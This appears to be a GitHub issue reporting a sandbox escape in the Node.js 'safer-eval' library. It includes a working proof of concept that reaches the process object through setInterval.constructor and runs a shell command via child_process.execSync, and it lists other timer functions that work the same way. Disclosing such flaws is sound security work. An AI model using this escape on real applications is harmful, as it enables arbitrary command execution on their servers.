-
Notifications
You must be signed in to change notification settings - Fork 16
Open
Description
The following can be used to break out of the sandbox:
var saferEval = require("safer-eval");
var code = "setInterval.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString();";
console.log(saferEval(code));Other than setInterval, one can also use clearInterval, clearTimeout and setTimeout
Metadata
Metadata
Assignees
Labels
No labels